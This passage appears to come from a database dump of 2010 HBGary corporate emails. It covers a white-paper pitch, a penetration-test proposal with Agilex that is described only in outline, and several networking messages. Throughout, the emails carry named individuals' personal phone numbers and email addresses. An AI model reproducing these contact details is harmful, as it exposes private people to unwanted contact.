In November 2009, he was named by SC Magazine as a security industry pioneer.   Stiennon\'s\r\n Blog:&nbsp; www.threatchaos.com  SC Magazine Industry Pioneers:&nbsp; http://www.scmagazineus.com/industry-pioneers/article/157220/CRN Security Superstar:&nbsp; http://tinyurl.com/yjk6dxq The NetworkWorld Award &lt;http://www.networkworld.com/power/2003/122250most.html?page=8&gt;    His ThreatChaos blog was re-launched in the fall of 2008 and garners 7,000+ page views a day. The author is followed by 18,100 people on Twitter and has a Twitter Grade of 99.96. The Twitter ID @cyberwar has 4,000 followers in the IT security field. The author also manages a LinkedIn Group of security leaders with 3,050 members and publishes the Data\r\n Protection Weekly email to 4,400 subscribers. He is in partnership with MiTechNews.com which sends weekly emails to 34,000 people. From: Bob Slapnik &lt;bob@hbgary.com&gt;To: Richard Montoya &lt;richard.montoya@it-harvest.com&gt;; aaron@hbgary.comSent: Sat, April 10, 2010 12:35:29 PMSubject: RE: IT-Harvest:  white paper on Advanced Persistent Threat\r\n\r\n\r\n\r\n \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nRichard, \r\n\r\n &nbsp; \r\n\r\nWe discussed the possibility of HBGary needing to write some\r\nwhitepapers and maybe farming it out.&nbsp; Penny makes those decisions.&nbsp; I’ll ask\r\nher if she wants help with it. \r\n\r\n &nbsp; \r\n\r\n\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc. \r\n\r\nOffice 301-652-8885 x104&nbsp; | Mobile 240-481-1419 \r\n\r\nwww.hbgary.com&nbsp; |&nbsp; bob@hbgary.com \r\n\r\n\r\n\r\n &nbsp; \r\n\r\n\r\n\r\n\r\n\r\nFrom: Richard Montoya\r\n[mailto:richard.montoya@it-harvest.com] \r\nSent: Friday, April 09, 2010 7:41 PM\r\nTo: aaron@hbgary.com; bob@hbgary.com\r\nSubject: IT-Harvest: white paper on Advanced Persistent Threat \r\n\r\n\r\n\r\n\r\n\r\n &nbsp; \r\n\r\n\r\n\r\n\r\n\r\nHi Aaron, hello&nbsp;Bob.&nbsp; How was your meeting with\r\nRichard at Palantir?&nbsp; He mentioned you expressed interest in a white paper\r\non Advanced Persistent Threat.....how can we help you? \r\n\r\n\r\n\r\n\r\n\r\n&nbsp; \r\n\r\n\r\n\r\n\r\n\r\n&nbsp; \r\n\r\n\r\n\r\n\r\n\r\nKindest Regards, \r\n\r\nRichard D. Montoya \r\n\r\nDirector of New Business Development \r\nrichard.montoya@it-harvest.com\r\n\r\nhttp://twitter.com/rdmontoya \r\nhttp://www.linkedin.com/pub/0/718/364\r\n\r\n(O) 203-826-7056 \r\n(M) 203-313-3315  \r\n\r\n\r\n\r\n\r\n\r\nPre-order Surviving Cyber War on Amazon! \r\n\r\n\r\nRichard Stiennon Biography  \r\n\r\n\r\n\r\nRichard Stiennon, security expert and analyst, is known for\r\nshaking up the industry and providing actionable guidance to vendors and end\r\nusers. He recently re-launched the security blog ThreatChaos.com and is the\r\nfounder of IT-Harvest, an independent analyst firm that researches the 1,200 IT\r\nsecurity vendors. He was Chief Marketing Officer for Fortinet, Inc. the leading\r\nUTM vendor. Prior to that he was VP Threat Research at Webroot Software where\r\nhe followed and wrote about the rising tide of spyware.  \r\n\r\n&nbsp; \r\n\r\n\r\n\r\nBefore Webroot, Mr. Stiennon was VP Research at Gartner Inc.\r\nwhere he covered security topics including firewalls, intrusion detection,\r\nintrusion prevention, security consulting, and managed security services for\r\nthe Security and Privacy group. He is a holder of Gartner\'s Thought Leadership\r\naward and was named \"One of the 50 most powerful people in\r\nNetworking\" by NetworkWorld Magazine. In November 2009, he was named by SC\r\nMagazine as a security industry pioneer.  \r\n\r\n\r\n\r\n\r\n\r\n\r\nStiennon\'s Blog:&nbsp; www.threatchaos.com \r\n\r\n\r\n\r\n\r\n\r\nSC Magazine Industry Pioneers:&nbsp; http://www.scmagazineus.com/industry-pioneers/article/157220/\r\nCRN Security Superstar:&nbsp; http://tinyurl.com/yjk6dxq\r\n\r\nThe NetworkWorld Award &lt;http://www.networkworld.com/power/2003/122250most.html?page=8&gt; \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHis ThreatChaos blog was re-launched in the fall of 2008 and\r\ngarners 7,000+ page views a day. The author is followed by 18,100 people on Twitter\r\nand has a Twitter Grade of 99.96. The Twitter ID @cyberwar has 4,000 followers\r\nin the IT security field. The author also manages a LinkedIn Group of security\r\nleaders with 3,050 members and publishes the Data Protection Weekly email to\r\n4,400 subscribers. He is in partnership with MiTechNews.com which sends weekly\r\nemails to 34,000 people.  \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.801 / Virus Database: 271.1.1/2793 - Release Date: 04/09/10\r\n02:32:00 \r\n\r\n\r\n\r\n\r\n',7666,'aaron_hbgary_com/7666.html'),(7455,'2010-06-15','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005562.M854315P14101Q2310.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>','Notes from call with Ira','HBGary shall conduct a blind penetration test:\r\nDefined rules of engagement\r\nWe try to hack our way in\r\nProvide an outbrief and report on findings and recommendations\r\n\r\nAction items for us:\r\nWe need to help Agilex get the proposal in.\r\nPrepare for a kickoff call to discuss rules of engagement on or about June 28th.\r\nPentest shall be conducted in August (start on/about the 9th)\r\nAnother call will be scheduled on June 22nd to tag up and make sure\r\neverything is on track.\r\n\r\nAgilex shall:\r\nConduct a vulnerability assessment and security audit\r\nNot a blind study, but rather full knowledge of system and controls\r\nOracle expert conducts security analysis\r\nExpert available in 2 weeks, for 2 weeks. Available June 28th.\r\nUnavailable Jul 12th.\r\nIs it possible to get on contract that quickly?  What needs to be done\r\nto get him in the door?\r\nTesting is approved for July, customer can support this schedule.\r\n\r\nNote: Government is closed Monday July 5th.\r\n\r\nIra:  If the customer cannot meet the procurement schedule and you are\r\nforced to find a new Oracle expert, I know a few people who may be\r\nable to help, if you\'re open to subbing the work.\r\n',3125,'aaron_hbgary_com/3125.html'),(7456,'2010-06-15','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005563.M295382P14101Q2312.eml','\"Ira Entis\" <Ira.Entis@agilex.com>,\"Ira Entis\" <Ira.Entis@agilex.com>,,','Re: Notes from call with Ira','I\'m working on it today when is the hard suspense its due?  Do you\r\nhave a pricing template you want us to use for pricing?\r\n\r\nTed\r\n\r\n\r\nOn Jun 15, 2010, at 2:10 PM, Ira Entis  wrote:\r\n\r\n> Guys -- need your help filling in the RFP response data for your section.  When can we get that back?\r\n>\r\n> - Ira\r\n>\r\n>\r\n> On Jun 15, 2010, at 1:57 PM, Ted Vera wrote:\r\n>\r\n> HBGary shall conduct a blind penetration test:\r\n> Defined rules of engagement\r\n> We try to hack our way in\r\n> Provide an outbrief and report on findings and recommendations\r\n>\r\n> Action items for us:\r\n> We need to help Agilex get the proposal in.\r\n> Prepare for a kickoff call to discuss rules of engagement on or about June 28th.\r\n> Pentest shall be conducted in August (start on/about the 9th)\r\n> Another call will be scheduled on June 22nd to tag up and make sure\r\n> everything is on track.\r\n>\r\n> Agilex shall:\r\n> Conduct a vulnerability assessment and security audit\r\n> Not a blind study, but rather full knowledge of system and controls\r\n> Oracle expert conducts security analysis\r\n> Expert available in 2 weeks, for 2 weeks. Available June 28th.\r\n> Unavailable Jul 12th.\r\n> Is it possible to get on contract that quickly?  What needs to be done\r\n> to get him in the door?\r\n> Testing is approved for July, customer can support this schedule.\r\n>\r\n> Note: Government is closed Monday July 5th.\r\n>\r\n> Ira:  If the customer cannot meet the procurement schedule and you are\r\n> forced to find a new Oracle expert, I know a few people who may be\r\n> able to help, if you\'re open to subbing the work.\r\n>\r\n',11825,'aaron_hbgary_com/11825.html'),(7457,'2010-06-15','\"Paul Nemirovsky\" <pauln@jdn-int.com>','/aaron@hbgary.com/new/1297005563.M596756P14101Q2313.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Something to read','Aaron,\r\n&nbsp;\r\nThank you, it is very interesting!\r\n&nbsp;\r\n&nbsp;\r\nPaul\r\n&nbsp;\r\n&nbsp;\r\n___________________________________________________________\r\n&nbsp;--- On Tue, 6/15/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Something to readTo: \"Paul Nimirovsky\" &lt;pauln@jdn-int.com&gt;Date: Tuesday, June 15, 2010, 12:33 PM\r\nHi Paul,Before our meeting I would be interested to receive your thoughts onsome of our new offerings as represented in the attached data sheet.Aaron',8320,'aaron_hbgary_com/8320.html'),(7458,'2010-06-15','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297005563.M817466P14101Q2314.eml','\"Garcia, Kathy (TASC)\" <KATHERINE.GARCIA@tasc.com>,\"Brunst Jr, Gerald R (TASC)\" <GERALD.BRUNSTJR@tasc.com>,\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>,\"Aaron Barr\" <aaron@hbgary.com>','Just called me','\r\n\r\n\r\n\r\n\r\nJust called me\r\n\r\n\r\n\r\n\r\nScott Walker from Ethos IQ just left me a message.&nbsp; http://www.ethosiq.com/\r\n\r\nTake a look and see if we should call them in.&nbsp; \r\n\r\nThanks,\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Chris\r\n__________________________________________________\r\n&nbsp; \r\n |Chris Clair | Program Manager | 703.449.3964 \r\n\r\n\r\n\r\n\r\n\r\n\r\n',2649,'aaron_hbgary_com/2649.html'),(7459,'2010-06-15','\"Ira Entis\" <Ira.Entis@agilex.com>','/aaron@hbgary.com/new/1297005563.M84500P14101Q2311.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,,','Re: Notes from call with Ira','Guys -- need your help filling in the RFP response data for your section.  When can we get that back?\r\n\r\n- Ira\r\n\r\n\r\nOn Jun 15, 2010, at 1:57 PM, Ted Vera wrote:\r\n\r\nHBGary shall conduct a blind penetration test:\r\nDefined rules of engagement\r\nWe try to hack our way in\r\nProvide an outbrief and report on findings and recommendations\r\n\r\nAction items for us:\r\nWe need to help Agilex get the proposal in.\r\nPrepare for a kickoff call to discuss rules of engagement on or about June 28th.\r\nPentest shall be conducted in August (start on/about the 9th)\r\nAnother call will be scheduled on June 22nd to tag up and make sure\r\neverything is on track.\r\n\r\nAgilex shall:\r\nConduct a vulnerability assessment and security audit\r\nNot a blind study, but rather full knowledge of system and controls\r\nOracle expert conducts security analysis\r\nExpert available in 2 weeks, for 2 weeks. Available June 28th.\r\nUnavailable Jul 12th.\r\nIs it possible to get on contract that quickly?  What needs to be done\r\nto get him in the door?\r\nTesting is approved for July, customer can support this schedule.\r\n\r\nNote: Government is closed Monday July 5th.\r\n\r\nIra:  If the customer cannot meet the procurement schedule and you are\r\nforced to find a new Oracle expert, I know a few people who may be\r\nable to help, if you\'re open to subbing the work.\r\n\r\n',12411,'aaron_hbgary_com/12411.html'),(7460,'2010-06-16','\"Ira Entis\" <Ira.Entis@agilex.com>','/aaron@hbgary.com/new/1297005564.M307676P14101Q2316.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,,','Re: Notes from call with Ira','we need your content by tomorrow.  deadline is Friday but we are trying to submit by Thursday \r\n\r\n\r\n\r\nOn Jun 15, 2010, at 2:24 PM, Ted Vera wrote:\r\n\r\nI\'m working on it today when is the hard suspense its due?  Do you\r\nhave a pricing template you want us to use for pricing?\r\n\r\nTed\r\n\r\n\r\nOn Jun 15, 2010, at 2:10 PM, Ira Entis  wrote:\r\n\r\n> Guys -- need your help filling in the RFP response data for your section.  When can we get that back?\r\n> \r\n> - Ira\r\n> \r\n> \r\n> On Jun 15, 2010, at 1:57 PM, Ted Vera wrote:\r\n> \r\n> HBGary shall conduct a blind penetration test:\r\n> Defined rules of engagement\r\n> We try to hack our way in\r\n> Provide an outbrief and report on findings and recommendations\r\n> \r\n> Action items for us:\r\n> We need to help Agilex get the proposal in.\r\n> Prepare for a kickoff call to discuss rules of engagement on or about June 28th.\r\n> Pentest shall be conducted in August (start on/about the 9th)\r\n> Another call will be scheduled on June 22nd to tag up and make sure\r\n> everything is on track.\r\n> \r\n> Agilex shall:\r\n> Conduct a vulnerability assessment and security audit\r\n> Not a blind study, but rather full knowledge of system and controls\r\n> Oracle expert conducts security analysis\r\n> Expert available in 2 weeks, for 2 weeks. Available June 28th.\r\n> Unavailable Jul 12th.\r\n> Is it possible to get on contract that quickly?  What needs to be done\r\n> to get him in the door?\r\n> Testing is approved for July, customer can support this schedule.\r\n> \r\n> Note: Government is closed Monday July 5th.\r\n> \r\n> Ira:  If the customer cannot meet the procurement schedule and you are\r\n> forced to find a new Oracle expert, I know a few people who may be\r\n> able to help, if you\'re open to subbing the work.\r\n> \r\n\r\n',15720,'aaron_hbgary_com/15720.html'),(7461,'2010-06-15','\"Google Calendar\" <calendar-notification@google.com>','/aaron@hbgary.com/new/1297005564.M43560P14101Q2315.eml','\"Aaron Barr\" <aaron@hbgary.com>','Reminder: FIRST Conference @ Wed Jun 16 - Sat Jun 19, 2010 	(aaron@hbgary.com)',' more details &raquo;FIRST ConferenceWhenWed Jun 16 – Sat Jun 19, 2010Calendaraaron@hbgary.comWho&#x2022;Aaron Barr - organizerInvitation from Google CalendarYou are receiving this email at the account aaron@hbgary.com because you are subscribed for reminders on calendar aaron@hbgary.com.To stop receiving these notifications, please log in to https://www.google.com/calendar/hosted/hbgary.com/ and change your notification settings for this calendar.',7150,'aaron_hbgary_com/7150.html'),(7462,'2010-06-16','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005567.M479216P14101Q2318.eml','\"Ira Entis\" <Ira.Entis@agilex.com>,\"Ira Entis\" <Ira.Entis@agilex.com>,,','Re: Notes from call with Ira','Here is a brief overview.  Do you have a page count limit?  I have\r\nsome things to do this morning.  What time today is this due?  Can I\r\nsend it tonight?\r\n\r\nThanks,\r\nTed\r\n\r\n\r\nPenetration testing shall consist of three phases:  1. Planning, 2.\r\nAttack, 3. Documentation.  During the Planning phase we shall work\r\nwith the customer to establish and document the Rules of Engagement.\r\nThe Rules of Engagement are used to define the scope, attack tools,\r\ntypes of attacks, and what is and is not allowed during the\r\npenetration test.  During the Attack phase, we shall enumerate\r\nvulnerabilities and attempt to exploit them using open-source and\r\ncustom-developed tools.  If we successfully exploit a system on the\r\nnetwork perimeter, we will attempt to escalate permissions and attack\r\nadjacent systems.  During the Documentation Phase, we will write the\r\nPenetration Test Report which contains the vulnerabilities we\r\nidentified, attacks attempted, successful attacks, and recommendations\r\nfor securing the system(s).\r\n\r\n\r\n\r\nOn Tue, Jun 15, 2010 at 11:40 PM, Ira Entis  wrote:\r\n> we need your content by tomorrow.  deadline is Friday but we are trying to submit by Thursday\r\n>\r\n>\r\n>\r\n> On Jun 15, 2010, at 2:24 PM, Ted Vera wrote:\r\n>\r\n> I\'m working on it today when is the hard suspense its due?  Do you\r\n> have a pricing template you want us to use for pricing?\r\n>\r\n> Ted\r\n>\r\n>\r\n> On Jun 15, 2010, at 2:10 PM, Ira Entis  wrote:\r\n>\r\n>> Guys -- need your help filling in the RFP response data for your section.  When can we get that back?\r\n>>\r\n>> - Ira\r\n>>\r\n>>\r\n>> On Jun 15, 2010, at 1:57 PM, Ted Vera wrote:\r\n>>\r\n>> HBGary shall conduct a blind penetration test:\r\n>> Defined rules of engagement\r\n>> We try to hack our way in\r\n>> Provide an outbrief and report on findings and recommendations\r\n>>\r\n>> Action items for us:\r\n>> We need to help Agilex get the proposal in.\r\n>> Prepare for a kickoff call to discuss rules of engagement on or about June 28th.\r\n>> Pentest shall be conducted in August (start on/about the 9th)\r\n>> Another call will be scheduled on June 22nd to tag up and make sure\r\n>> everything is on track.\r\n>>\r\n>> Agilex shall:\r\n>> Conduct a vulnerability assessment and security audit\r\n>> Not a blind study, but rather full knowledge of system and controls\r\n>> Oracle expert conducts security analysis\r\n>> Expert available in 2 weeks, for 2 weeks. Available June 28th.\r\n>> Unavailable Jul 12th.\r\n>> Is it possible to get on contract that quickly?  What needs to be done\r\n>> to get him in the door?\r\n>> Testing is approved for July, customer can support this schedule.\r\n>>\r\n>> Note: Government is closed Monday July 5th.\r\n>>\r\n>> Ira:  If the customer cannot meet the procurement schedule and you are\r\n>> forced to find a new Oracle expert, I know a few people who may be\r\n>> able to help, if you\'re open to subbing the work.\r\n>>\r\n>\r\n>\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',9350,'aaron_hbgary_com/9350.html'),(7463,'2010-06-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005567.M77795P14101Q2317.eml','\"Robert Frizzelle\" <rfrizzelle@csc.com>,\"Robert Frizzelle\" <rfrizzelle@csc.com>','Datasheet','Bob,\r\n\r\nAttached is the datasheet I mentioned on the phone.  I would like to\r\nget together and discuss cyber when you have a chance.  There are\r\ninroads to improving our capabilities that are achievable and for not\r\na significant amount of dollars.  It requires an appropriate level of\r\nintegration, technology and training, and the programs to implement.\r\n\r\nLet me know when you have some availability.  I will be back in DC next week.\r\n\r\nAaron\r\n',4841,'aaron_hbgary_com/4841.html'),(7464,'2010-06-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005570.M833740P14101Q2319.eml','\"Tom Conroy\" <tom.conroy@ngc.com>','Information','Hi Tom,\r\n\r\nI hope all is well.  I had dinner with Kathy and a bunch of other\r\ncyber folks last night as part of the  cyber group chaired by Bill\r\nVarner.  I was a bit of an odd ball in that I don\'t own significant\r\ncyber business but hope to be able to contribute in other ways.\r\n\r\nAnyway, last time we met you mentioned there was someone you thought I\r\nshould meet, but requested some information.  Attached is our data\r\nsheet for our offerings in information security services as well as a\r\nlink to my professional profile and a recent interview.\r\n\r\nMaybe we can get together for lunch again in early July if your\r\naround?  I would love to get your thoughts on cyber command and the\r\nsluggishness that continues around cyber.\r\n\r\nhttp://www.linkedin.com/in/aaronbarr3\r\n\r\nhttp://www.thenewnewinternet.com/2010/06/02/aaron-barr-computer-security-is-a-hunt-an-investigation-it’s-a-challenge/\r\n',11010,'aaron_hbgary_com/11010.html'),(7465,'2010-06-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005577.M864278P14101Q2320.eml','\"Daniel Ingevaldson\" <dsi@endgames.us>,\"Chris Rouland\" <chris@endgames.us>','Datasheet','Daniel,\r\n\r\nAttached is our datasheet for information security services we are\r\nstarting to shop.  I will be down at the FIRST conference the rest of\r\nthe week and then have a series of meetings starting next week with\r\nmost of the big integrators and some government customers to discuss.\r\nSorry I have been a bit quiet just been busy.  I\'ll give you a call\r\nthis week.\r\n\r\nAaron\r\n',8332,'aaron_hbgary_com/8332.html'),(7466,'2010-06-16','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005578.M767613P14101Q2321.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Ira Entis\" <Ira.Entis@agilex.com>','Re: Notes from call with Ira','Disregard last email Ira, I restructured my day.  This is my top\r\npriority task this morning.  Can you give me a call to discuss?  Can\r\nyou also please forward the latest revision of the tech prop?\r\n\r\nThanks,\r\nTed\r\n719-237-8623\r\n\r\n\r\n\r\nOn Tue, Jun 15, 2010 at 11:57 AM, Ted Vera  wrote:\r\n> HBGary shall conduct a blind penetration test:\r\n> Defined rules of engagement\r\n> We try to hack our way in\r\n> Provide an outbrief and report on findings and recommendations\r\n>\r\n> Action items for us:\r\n> We need to help Agilex get the proposal in.\r\n> Prepare for a kickoff call to discuss rules of engagement on or about June 28th.\r\n> Pentest shall be conducted in August (start on/about the 9th)\r\n> Another call will be scheduled on June 22nd to tag up and make sure\r\n> everything is on track.\r\n>\r\n> Agilex shall:\r\n> Conduct a vulnerability assessment and security audit\r\n> Not a blind study, but rather full knowledge of system and controls\r\n> Oracle expert conducts security analysis\r\n> Expert available in 2 weeks, for 2 weeks. Available June 28th.\r\n> Unavailable Jul 12th.\r\n> Is it possible to get on contract that quickly?  What needs to be done\r\n> to get him in the door?\r\n> Testing is approved for July, customer can support this schedule.\r\n>\r\n> Note: Government is closed Monday July 5th.\r\n>\r\n> Ira:  If the customer cannot meet the procurement schedule and you are\r\n> forced to find a new Oracle expert, I know a few people who may be\r\n> able to help, if you\'re open to subbing the work.\r\n>\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',16211,'aaron_hbgary_com/16211.html'),(7467,'2010-06-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005582.M138930P14101Q2322.eml','larry.strang@tasc.com','Discussion on cyber','Hi Larry,\r\n\r\nCongratulations... I think. ;)\r\n\r\nAttached is our datasheet for information security services.  I would\r\nlike to get together at your convenience to talk cyber.  I had a brief\r\nmeeting with Wood last week and mentioned to him, if interested, i\r\nwould like to work together.  TASC is a second home for me and\r\ncontains many friends.\r\n\r\nAaron\r\n',5142,'aaron_hbgary_com/5142.html'),(7468,'2010-06-16','\"Potomac Officers Club\" <events@potomacofficersclub.com>','/aaron@hbgary.com/new/1297005582.M795332P14101Q2323.eml','aaron@hbgary.com','POC Event on July 22','\r\nPotomac Officers Club - Event Registration Confirmation\r\n\r\n\r\nbody, td{font-family:arial,sans-serif;font-size:80%}\r\na:link, a:active, a:visited{color:#0000CC}\r\nimg{border:0}\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n    					\r\n\r\nBy clicking NO You will not be contacted about John Riggins, Pro Football Hall of Fame running back and former Washington Redskin on July 22, 2010 again\r\n\r\nDear Aaron,\r\n	\r\n	The POC is pleased to “loosen up” this summer and announces that John Riggins will be speaking at the next luncheon event on July 22!  John is most well known for his time spent playing for the Washington Redskins and his induction into the Pro Football Hall of Fame in 1992. But what many may not know, is that John is an accomplished actor (starring in some off broadway productions and also many primetime television shows) as well as hosting his own daily HD3 radio show!  John is brutally honest and always humorous and entertaining – you really should not miss this opportunity to hear him live and in person!  Details of the event are as follows:\r\n\r\nDate:  Thursday, July 22 2010\r\nTime:  11:30 am (networking and registration) with lunch and speaker at 12:00 pm\r\nLocation:  Tyson’s Corner Ritz Carlton\r\n\r\nWe hope to see you there!\r\n\r\nThe Potomac Officers Club\r\n703-752-7449\r\n\r\n    					\r\n	\r\n	\r\n	By clicking NO You will not be contacted about John Riggins, Pro Football Hall of Fame running back and former Washington Redskin on July 22, 2010 again\r\n	\r\n	\r\n	\r\n	  \r\n  \r\n\r\n&nbsp;\r\nEVENT SPONSOR&nbsp;\r\n	&nbsp;\r\n\r\n\r\n\r\n\r\nPowered by\r\nCarbon8 Studios.\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15934,'aaron_hbgary_com/15934.html'),(7469,'2010-06-16','\"Conroy, Thomas W.\" <Tom.Conroy@ngc.com>','/aaron@hbgary.com/new/1297005583.M245534P14101Q2324.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Information','Sounds like a good idea Aaron.  It\'s been too long.  Hope you\'re doing\r\nwell and business is picking up.  Any word on that DARPA contract you\r\nwere seeking?  \r\nSluggish is a good characterization.  It\'s very puzzling to me.  I\'m\r\ngoing out to NSA later this week to meet with a friend who is working in\r\nCYBERCOM.  Maybe I\'ll actually have some information worth sharing.  \r\nCassie, will you please see if we can schedule a get together?  \r\n\r\nTom\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, June 16, 2010 9:20 AM\r\nTo: Conroy, Thomas W.\r\nSubject: Information\r\n\r\nHi Tom,\r\n\r\nI hope all is well.  I had dinner with Kathy and a bunch of other cyber\r\nfolks last night as part of the  cyber group chaired by Bill Varner.  I\r\nwas a bit of an odd ball in that I don\'t own significant cyber business\r\nbut hope to be able to contribute in other ways.\r\n\r\nAnyway, last time we met you mentioned there was someone you thought I\r\nshould meet, but requested some information.  Attached is our data sheet\r\nfor our offerings in information security services as well as a link to\r\nmy professional profile and a recent interview.\r\n\r\nMaybe we can get together for lunch again in early July if your around?\r\nI would love to get your thoughts on cyber command and the sluggishness\r\nthat continues around cyber.\r\n\r\nhttp://www.linkedin.com/in/aaronbarr3\r\n\r\nhttp://www.thenewnewinternet.com/2010/06/02/aaron-barr-computer-security\r\n-is-a-hunt-an-investigation-it\'s-a-challenge/\r\n',10690,'aaron_hbgary_com/10690.html'),(7470,'2010-06-16','\"Robinson, Cassie\" <Cassie.Robinson@ngc.com>','/aaron@hbgary.com/new/1297005583.M526288P14101Q2325.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: Information','Hey Aaron -- Early July dates that work for lunch with Tom\r\n\r\n7 Jul\r\n9 Jul\r\n15 Jul\r\n16 Jul\r\n\r\nDo any of those dates work for you?\r\n\r\nThanks much\r\n\r\ncsr\r\n\r\n-----Original Message-----\r\nFrom: Conroy, Thomas W. \r\nSent: Wednesday, June 16, 2010 11:16 AM\r\nTo: \'Aaron Barr\'\r\nCc: Robinson, Cassie\r\nSubject: RE: Information\r\n\r\nSounds like a good idea Aaron.  It\'s been too long.  Hope you\'re doing\r\nwell and business is picking up.  Any word on that DARPA contract you\r\nwere seeking?  \r\nSluggish is a good characterization.  It\'s very puzzling to me.  I\'m\r\ngoing out to NSA later this week to meet with a friend who is working in\r\nCYBERCOM.  Maybe I\'ll actually have some information worth sharing.  \r\nCassie, will you please see if we can schedule a get together?  \r\n\r\nTom\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, June 16, 2010 9:20 AM\r\nTo: Conroy, Thomas W.\r\nSubject: Information\r\n\r\nHi Tom,\r\n\r\nI hope all is well.  I had dinner with Kathy and a bunch of other cyber\r\nfolks last night as part of the  cyber group chaired by Bill Varner.  I\r\nwas a bit of an odd ball in that I don\'t own significant cyber business\r\nbut hope to be able to contribute in other ways.\r\n\r\nAnyway, last time we met you mentioned there was someone you thought I\r\nshould meet, but requested some information.  Attached is our data sheet\r\nfor our offerings in information security services as well as a link to\r\nmy professional profile and a recent interview.\r\n\r\nMaybe we can get together for lunch again in early July if your around?\r\nI would love to get your thoughts on cyber command and the sluggishness\r\nthat continues around cyber.\r\n\r\nhttp://www.linkedin.com/in/aaronbarr3\r\n\r\nhttp://www.thenewnewinternet.com/2010/06/02/aaron-barr-computer-security\r\n-is-a-hunt-an-investigation-it\'s-a-challenge/\r\n',8710,'aaron_hbgary_com/8710.html'),(7471,'2010-06-16','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005583.M806435P14101Q2326.eml','\"Barr Aaron\" <aaron@hbgary.com>','that was fast','Following in AT&T\'s footsteps, Apple has sold out of the initial\r\nallotment of iPhone 4s for launch day. The Apple online store now\r\nlists July 2nd as the earliest ship date that you can receive an\r\niPhone 4.\r\n\r\nStores may still have stock on launch day for walk-in traffic, but it\r\nseems the allotment for pre-orders has been filled. The iPhone 4 will\r\nlaunch on June 24th, 2010.\\\r\n',10584,'aaron_hbgary_com/10584.html'),(7472,'2010-06-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005584.M424170P14101Q2327.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Information','Should get some good intel.From my iPhoneBegin forwarded message:From: &quot;Conroy, Thomas W.&quot; &lt;Tom.Conroy@ngc.com&gt;\r\nDate: June 16, 2010 11:16:11 AM EDTTo: &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;Cc: &quot;Robinson, Cassie&quot; &lt;Cassie.Robinson@ngc.com&gt;\r\nSubject: RE: InformationSounds like a good idea Aaron.  It&#39;s been too long.  Hope you&#39;re doingwell and business is picking up.  Any word on that DARPA contract you\r\nwere seeking?  Sluggish is a good characterization.  It&#39;s very puzzling to me.  I&#39;mgoing out to NSA later this week to meet with a friend who is working inCYBERCOM.  Maybe I&#39;ll actually have some information worth sharing.  \r\nCassie, will you please see if we can schedule a get together?  Tom-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, June 16, 2010 9:20 AMTo: Conroy, Thomas W.Subject: InformationHi Tom,I hope all is well.  I had dinner with Kathy and a bunch of other cyber\r\nfolks last night as part of the  cyber group chaired by Bill Varner.  Iwas a bit of an odd ball in that I don&#39;t own significant cyber businessbut hope to be able to contribute in other ways.\r\nAnyway, last time we met you mentioned there was someone you thought Ishould meet, but requested some information.  Attached is our data sheetfor our offerings in information security services as well as a link to\r\nmy professional profile and a recent interview.Maybe we can get together for lunch again in early July if your around?I would love to get your thoughts on cyber command and the sluggishness\r\nthat continues around cyber.http://www.linkedin.com/in/aaronbarr3http://www.thenewnewinternet.com/2010/06/02/aaron-barr-computer-security\r\n-is-a-hunt-an-investigation-it&#39;s-a-challenge/\r\n',9820,'aaron_hbgary_com/9820.html'),(7473,'2010-06-16','ted@hbgary.com','/aaron@hbgary.com/new/1297005584.M831886P14101Q2328.eml','aaron@hbgary.com','TechProp','\r\n\r\nI\'ve shared TechProp\r\nMessage from ted@hbgary.com:\r\nWorking Draft Tech Prop\r\nClick to open:\r\nTechProp\r\n\r\n\r\nGoogle Docs makes it easy to create, store and share online documents, spreadsheets and presentations.\r\n',15597,'aaron_hbgary_com/15597.html'),(7474,'2010-06-16','\"Ted Vera\" 